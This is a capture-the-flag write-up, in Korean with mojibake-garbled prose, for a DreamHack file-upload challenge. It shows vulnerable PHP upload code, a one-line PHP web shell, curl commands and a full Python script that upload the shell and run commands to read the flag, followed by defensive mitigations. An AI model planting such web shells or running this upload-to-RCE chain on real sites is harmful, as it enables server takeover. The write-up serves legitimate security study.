๋ฌธ์ : DreamHack โ image-storage ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 4 FLAG:
DH{c29f44ea17b29d8b76001f32e8997bab}
"Upload and Share Image !" ํ ์ค์ด ์ ๋ถ์ธ ์ด๋ฏธ์ง ๊ณต์ ์ฌ์ดํธ๋ค. ์ ๋ก๋ ํผ๊ณผ ๋ชฉ๋ก ํ์ด์ง๋ฐ์ ์๋๋ฐ, ์ ์ ์ ๋ก๋ํ ํ์ผ์ด ๋ฌด์์ธ์ง ์๋ฒ๊ฐ ์ ํ ํ์ธํ์ง ์๋๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | image-storage |
| ๋์ด๋ | ๐ฅ Bronze 4 |
| ๋ถ๋ฅ | Web (File Upload โ RCE) |
| ์ ๊ณต | PHP ์์ค 3๊ฐ + ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | ํ์ฅ์ยทMIME ๊ฒ์ฆ ์๋ ํ์ผ ์ ๋ก๋ โ ์น์ ธ ์คํ |
ํ์ด์ง๋ ์
๋ฟ์ด๋ค. index.php(์๊ฐ), upload.php(์
๋ก๋), list.php(์
๋ก๋๋ ํ์ผ ๋ชฉ๋ก). ์
๋ก๋ ํธ๋ค๋ฌ๊ฐ ํ์ผ ์ด๋ฆ๊ณผ ํ์ฅ์๋ฅผ ๊ทธ๋๋ก ๋ฐ์ ์น ๋๋ ํ ๋ฆฌ์ ์ ์ฅํ๋ฏ๋ก, ์ด๋ฏธ์ง๊ฐ ์๋๋ผ PHP ํ์ผ์ ์ฌ๋ ค๋ ๋งํ์ง ์๋๋ค. ์ฌ๋ฆฐ ํ์ผ์ด ./uploads/ ์๋์ ๊ทธ๋๋ก ๋์ด๊ณ ๊ทธ ๊ฒฝ๋ก๋ก ๋ฐ๋ก ์ ๊ทผ๋๋, ๊ทธ๊ฒ ๊ณง ์ฝ๋ ์คํ์ด๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ PHP ํ์ผ ์ ๋ก๋์ ์น์ ธ
PHP์์ ์
๋ก๋ ํ์ผ์ ๋ฐ๋ ํ์ค ํจ์๋ move_uploaded_file($tmp, $dest)๋ค. ํด๋ผ์ด์ธํธ๊ฐ ๋ณด๋ธ ์์ ํ์ผ์ $dest ๊ฒฝ๋ก๋ก ์ฎ๊ธด๋ค. ์ด๋ $dest๋ฅผ ๋ง๋ค ๋ ์ฌ์ฉ์๊ฐ ๋ณด๋ธ ํ์ผ๋ช
์ ๊ทธ๋๋ก ๋ถ์ด๋ฉด, ํ์ฅ์๊น์ง ๊ณต๊ฒฉ์๊ฐ ์ ํ๊ฒ ๋๋ค.
move_uploaded_file($tmp_name, $directory . $name); // $name = ํด๋ผ์ด์ธํธ๊ฐ ๋ณด๋ธ ์ด๋ฆ๋ฌธ์ ๋ PHP๊ฐ ์์ฒญ๋ .php ํ์ผ์ ์ฝ๋๋ก ์คํํ๋ค๋ ์ ์ด๋ค. ์น ์๋ฒ ์ค์ ์์ .php๊ฐ PHP ํธ๋ค๋ฌ์ ๋งคํ๋ผ ์์ผ๋ฉด, ์ ์ ํ์ผ์ฒ๋ผ ๋ด์ฉ์ ๋ณด์ฌ์ฃผ๋ ๊ฒ ์๋๋ผ ๊ทธ ์์ ์ฝ๋๋ฅผ ๋๋ฆฐ๋ค. ๊ทธ๋์ ์
๋ก๋ ๋๋ ํ ๋ฆฌ๊ฐ
- ์น์์ ์ ๊ทผ ๊ฐ๋ฅํ๊ณ (
/uploads/...๋ก URL์ด ์ด๋ฆฌ๊ณ ) - ๊ทธ ๋๋ ํ ๋ฆฌ์์ PHP ์คํ์ด ์ผ์ ธ ์๊ณ
- ํ์ผ๋ช ์ ๊ณต๊ฒฉ์๊ฐ ์ ํ ์ ์์ผ๋ฉด
์ ๋ก๋ ๊ธฐ๋ฅ ํ๋๊ฐ ๊ทธ๋๋ก ์๊ฒฉ ์ฝ๋ ์คํ ํต๋ก๊ฐ ๋๋ค. ์ด๋ ์ฌ๋ฆฌ๋ ์์ PHP ์คํฌ๋ฆฝํธ๋ฅผ ์น์ ธ์ด๋ผ๊ณ ๋ถ๋ฅธ๋ค. ๊ฐ์ฅ ํํ ํํ๊ฐ ์์ฒญ ํ๋ผ๋ฏธํฐ๋ฅผ ์ ธ ๋ช ๋ น์ผ๋ก ์คํํ๋ ํ ์ค์ง๋ฆฌ๋ค.
<?php system($_GET['cmd']); ?>์ด ํ์ผ์ shell.php๋ก ์ฌ๋ฆฐ ๋ค shell.php?cmd=id๋ก ์ ๊ทผํ๋ฉด, ์๋ฒ์์ id๊ฐ ์คํ๋๊ณ ๊ทธ ์ถ๋ ฅ์ด ์๋ต์ผ๋ก ๋์์จ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
์ ๊ณต๋ ์์ค๋ ์ธ ๊ฐ๋ฟ์ด๋ผ ์ ๋ถ ํ์ด๋ณธ๋ค.
upload.php โ ๊ฒ์ฆ์ด ์๋ ์ ๋ก๋ ํธ๋ค๋ฌ
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
} else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
} else {
if (move_uploaded_file($tmp_name, $directory . $name)) {
echo "Stored in: " . $directory . $name;
}
}
}
}
}ํต์ฌ์ ๊ฒ์ฌ๋ผ๊ณ ๋ถ๋ฅผ ๋งํ ๊ฒ ํ๋๋ ์๋ค๋ ์ ์ด๋ค. ํ์ผ๋ช
$name์ ๊ฒ์ฆํ์ง ์๊ณ , ํ์ฅ์ ํ์ดํธ๋ฆฌ์คํธ๋ ์๊ณ , MIME ํ์
($_FILES["file"]["type"])๋ ๋ณด์ง ์๊ณ , ์
๋ก๋๋ ๋ด์ฉ์ด ์ค์ ์ด๋ฏธ์ง์ธ์ง(getimagesize ๊ฐ์ ๊ฒ์ฌ) ํ์ธํ์ง๋ ์๋๋ค.
์ฌ๋ฆฐ ํ์ผ์ ./uploads/ + ํด๋ผ์ด์ธํธ๊ฐ ๋ณด๋ธ ์ด๋ฆ์ผ๋ก ์ ์ฅ๋๊ณ , ์ ์ฅ ๊ฒฝ๋ก๊น์ง ์๋ต์ ๊ทธ๋๋ก ์ฐ์ด์ค๋ค. ์ฆ ๋ฌด์์, ์ด๋ค ์ด๋ฆ์ผ๋ก ์ฌ๋ฆด์ง ์ ๋ถ ๋ด๊ฐ ์ ํ๋ค.

list.php โ ์ฌ๋ฆฐ ํ์ผ ๊ฒฝ๋ก ํ์ธ์ฉ
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}์
๋ก๋ ๋๋ ํ ๋ฆฌ๋ฅผ ์ค์บํด์ ๋งํฌ๋ก ๋์ดํ ๋ฟ์ด๋ค. ๊ณต๊ฒฉ์ ์ง์ ์ฐ์ด์ง ์์ง๋ง, ๋ด๊ฐ ์ฌ๋ฆฐ ํ์ผ์ด ์ค์ ๋ก ./uploads/ ์๋์ ์๋ฆฌ ์ก์๋์ง, ๊ทธ๋ฆฌ๊ณ ์ด๋ค ๊ฒฝ๋ก๋ก ์ ๊ทผํ๋ฉด ๋๋์ง ํ์ธํ๋ ๋ฐ ์ธ ์ ์๋ค.
์ ๋ฆฌํ๋ฉด ๊ณต๊ฒฉ ๋ชฉํ๋ ๋จ์ํ๋ค. upload.php๋ก PHP ์น์
ธ์ ์ฌ๋ฆฌ๊ณ , list.php์์ ๊ฒฝ๋ก๋ฅผ ํ์ธํ ๋ค, /uploads/<์น์
ธ>์ ์ง์ ์ด์ด ๋ช
๋ น์ ์คํํ๋ค.
โถ๐ flag ์์น ์ฐพ๊ธฐ โ /var/www/html ๋ถํฐ ๋ดค์ง๋ง ๋ฃจํธ์ ์์๋ค
์น์
ธ๋ก RCE๋ฅผ ์ก์ ๋ค์ flag๊ฐ ์ด๋ ์๋์ง๋ถํฐ ์ฐพ์์ผ ํ๋ค. ์ต๊ด์ ์ผ๋ก ์น ๋ฃจํธ(/var/www/html)์ ๊ทธ ์์๋ฅผ ๋จผ์ ๋ค์ก๋๋ฐ ๊ฑฐ๊ธฐ์ ์์ค ํ์ผ๊ณผ uploads/๋ฟ์ด์๋ค.
๋ฒ์๋ฅผ ๋ํ ls -al /์ ์ฐ์ด๋ณด๋ flag๋ ํ์ผ์์คํ
๋ฃจํธ์ flag.txt๋ก ๋กํ๋ ๋์ฌ ์์๋ค. ๊ถํ๋ -rw-r--r--(world-readable)๋ผ www-data ๊ถํ์ผ๋ก ๋ฐ๋ก ์ฝํ๋ค. ๋ณ๋์ ๊ถํ ์์น์ด ํ์ ์๋ ๊ตฌ์ฑ์ด์๋ค.

๐ฃ ํต์ฌ โ ์ ์ ๋ก๋๊ฐ ๊ณง RCE์ธ๊ฐ
์ด ๋ฌธ์ ์ ์ทจ์ฝ์ ์ ํ ๋ฌธ์ฅ์ผ๋ก ์ ๋ฆฌ๋๋ค. ๊ฒ์ฆ ์๋ ์ ๋ก๋ + ์น์์ ์คํ๋๋ ์ ๋ก๋ ๋๋ ํ ๋ฆฌ = ์์ ์ฝ๋ ์คํ. ๋จ๊ณ๋ก ํ๋ฉด ์ด๋ ๋ค.

upload.php๊ฐ ํ์ผ๋ช
์ ๊ทธ๋๋ก ๋ฐ์ ./uploads/shell.php๋ก ์ ์ฅํ๊ณ , ๊ทธ ๋๋ ํ ๋ฆฌ์์ PHP๊ฐ ์คํ๋๋, ์
๋ก๋ ์งํ /uploads/shell.php๋ผ๋ URL์ด ์๊ธด๋ค. ์ด URL์ ์ฌ๋ ์๊ฐ ์์ ๋ system($_GET['cmd'])๊ฐ ๋์๊ฐ๋ค. ์
๋ก๋ ํ ๋ฒ๊ณผ GET ์์ฒญ ํ ๋ฒ์ด๋ฉด ๋์ด๋ค.
๐ฏ ์ต์คํ๋ก์
1. ์น์ ธ ์ ๋ก๋
ํ ์ค์ง๋ฆฌ ์น์
ธ์ ๋ง๋ค์ด upload.php์ ๊ทธ๋๋ก POSTํ๋ค.
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -F "file=@shell.php" http://host3.dreamhack.games:21304/upload.php
# โ Stored in: ./uploads/shell.php์๋ต์ด Stored in: ./uploads/shell.php๋ผ ์ ์ฅ ๊ฒฝ๋ก๊น์ง ์๋ ค์ค๋ค. list.php๋ฅผ ์ด์ด๋ณด๋ฉด ๋ชฉ๋ก์ shell.php๊ฐ ์ฌ๋ผ์จ ๊ฒ๋ ํ์ธ๋๋ค.

2. RCE ํ์ธ
์ ์ฅ๋ ๊ฒฝ๋ก๋ก ์ง์ ์ ๊ทผํ๋ฉด์ cmd์ ๋ช
๋ น์ ๋๊ธด๋ค. ๋จผ์ id๋ก ์คํ ์ฃผ์ฒด๋ฅผ ๋ณธ๋ค.
curl "http://host3.dreamhack.games:21304/uploads/shell.php?cmd=id"
# โ uid=33(www-data) gid=33(www-data) groups=33(www-data)๋ธ๋ผ์ฐ์ ์์ ๊ฐ์ URL์ ์ด๋ฉด ๊ฒฐ๊ณผ๊ฐ ํ์ด์ง์ ๊ทธ๋๋ก ์ฐํ๋ค. ์ฃผ์์ฐฝ์ ?cmd=id๊ฐ ์๋ฒ์์ ์คํ๋ผ www-data๋ก ๋์์จ๋ค.

3. flag ํ์
flag๋ ๋ฃจํธ์ flag.txt์๊ณ world-readable์ด๋ผ ๊ทธ๋๋ก ์ฝํ๋ค.
curl "http://host3.dreamhack.games:21304/uploads/shell.php?cmd=cat%20/flag.txt"
# โ DH{c29f44ea17b29d8b76001f32e8997bab}
๐ Full Exploit
์ ๋ก๋ โ RCE ํ์ธ โ flag ์ฝ๊ธฐ๊น์ง๋ฅผ ํ ์คํฌ๋ฆฝํธ๋ก ๋ฌถ์๋ค. ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์์ด ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ง์ผ๋ก multipart ์ ๋ก๋๋ฅผ ์ง์ ๋ง๋ ๋ค.
#!/usr/bin/env python3
# image-storage โ ๋ฌด๊ฒ์ฆ ์
๋ก๋๋ก PHP ์น์
ธ์ ์ฌ๋ ค RCE, /flag.txt ๋ฅผ ์ฝ๋๋ค.
import sys, urllib.request, urllib.parse, uuid
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:21304"
def post_file(url, field, filename, content, ctype="application/octet-stream"):
boundary = "----wg" + uuid.uuid4().hex
body = f"--{boundary}\r\n".encode()
body += f'Content-Disposition: form-data; name="{field}"; filename="{filename}"\r\n'.encode()
body += f"Content-Type: {ctype}\r\n\r\n".encode()
body += content + b"\r\n"
body += f"--{boundary}--\r\n".encode()
req = urllib.request.Request(url, data=body, method="POST",
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"})
return urllib.request.urlopen(req, timeout=20).read().decode(errors="replace")
def run(cmd, shell="shell.php"):
q = urllib.parse.urlencode({"cmd": cmd})
return urllib.request.urlopen(f"{BASE}/uploads/{shell}?{q}", timeout=20).read().decode(errors="replace")
# 1) ์น์
ธ ์
๋ก๋ โ ํ์ฅ์/MIME ๊ฒ์ฆ์ด ์์ด .php ๊ฐ ๊ทธ๋๋ก ์ ์ฅ๋๋ค
shell = b"<?php system($_GET['cmd']); ?>"
print("[1] upload shell.php :", post_file(f"{BASE}/upload.php", "file", "shell.php", shell).strip())
# 2) RCE ํ์ธ
print("[2] id :", run("id").strip())
# 3) flag ์์น ํ์ ํ ์ฝ๊ธฐ
print("[3] ls / (flag?) :", run("ls / | tr '\\n' ' '").strip())
print("[4] flag :", run("cat /flag.txt").strip())์คํํ๋ฉด ์ ๋ก๋๋ถํฐ flag๊น์ง ํ ๋ฒ์ ๋จ์ด์ง๋ค.

๐ ๊ฒฐ๋ก
ํ์ผ ์ ๋ก๋๋ "์ด๋ฆ๊ณผ ๋ด์ฉ์ ๊ณต๊ฒฉ์๊ฐ ์ ํ๋ ์ ๋ ฅ"์ด๋ค.
์ด๋ฏธ์ง ๊ณต์ ๋ผ๋ ํ๋ฒํ ๊ธฐ๋ฅ์ด์ง๋ง, ์๋ฒ๊ฐ ์ฌ๋ผ์จ ํ์ผ์ ๊ฒ์ฆํ์ง ์์ผ๋ฉด ๊ทธ ์์ฒด๋ก ์ฝ๋ ์คํ ํต๋ก๊ฐ ๋๋ค. ์ด ๋ฌธ์ ๋ ํ์ฅ์ยทMIMEยท๋ด์ฉ ๊ฒ์ฌ๊ฐ ์ ๋ถ ๋น ์ ธ ์์ด .php ์น์
ธ์ด ๊ทธ๋๋ก ํตํ๋ค.
๋ง๋ ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ๊ฒน์ผ๋ก ์๋๋ค.
ํ์ฅ์๋ ๋ธ๋๋ฆฌ์คํธ๊ฐ ์๋๋ผ ํ์ดํธ๋ฆฌ์คํธ๋ก ๊ฒ์ฌํ๋ค(jpg, png, gif๋ง ํ์ฉ). .php, .phtml, .php5 ๊ฐ์ ๋ณํ์ด ๋ง์ ๋ธ๋๋ฆฌ์คํธ๋ ๋ ์์ด ๋๊ฐ๋ค.
์ ์ฅ ํ์ผ๋ช ์ ์ฌ์ฉ์ ์ ๋ ฅ์ ๊ทธ๋๋ก ์ฐ์ง ๋ง๊ณ ์๋ฒ๊ฐ ๋๋คํ๊ฒ ์์ฑํ๋ค. ํ์ฅ์๋ ๊ฒ์ฆ์ ํต๊ณผํ ๊ฐ์ผ๋ก ๊ณ ์ ํ๋ค.
๊ฐ์ฅ ํ์คํ ๊ฑด ์
๋ก๋ ๋๋ ํ ๋ฆฌ์์ ์ฝ๋ ์คํ์ ๋๋ ๊ฒ์ด๋ค. nginx๋ผ๋ฉด location /uploads/์์ PHP ํจ์ค๋ฅผ ๋ง๊ณ , Apache๋ผ๋ฉด ํด๋น ๋๋ ํ ๋ฆฌ์ php_admin_flag engine off๋ฅผ ๋๋ค. ์คํ์ด ๋ถ๊ฐ๋ฅํ๋ฉด ์น์
ธ์ ์ฌ๋ ค๋ ๊ทธ๋ฅ ํ
์คํธ ํ์ผ์ผ ๋ฟ์ด๋ค.
์ฌ๊ธฐ์ ์
๋ก๋ ๋ด์ฉ์ด ์ค์ ์ด๋ฏธ์ง์ธ์ง(getimagesize)๊น์ง ํ์ธํ๋ฉด, ์ด๋ฐ ๋จ์ํ ์
๋ก๋ RCE๋ ๋ค์ด์ค ์๋ฆฌ๊ฐ ์๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ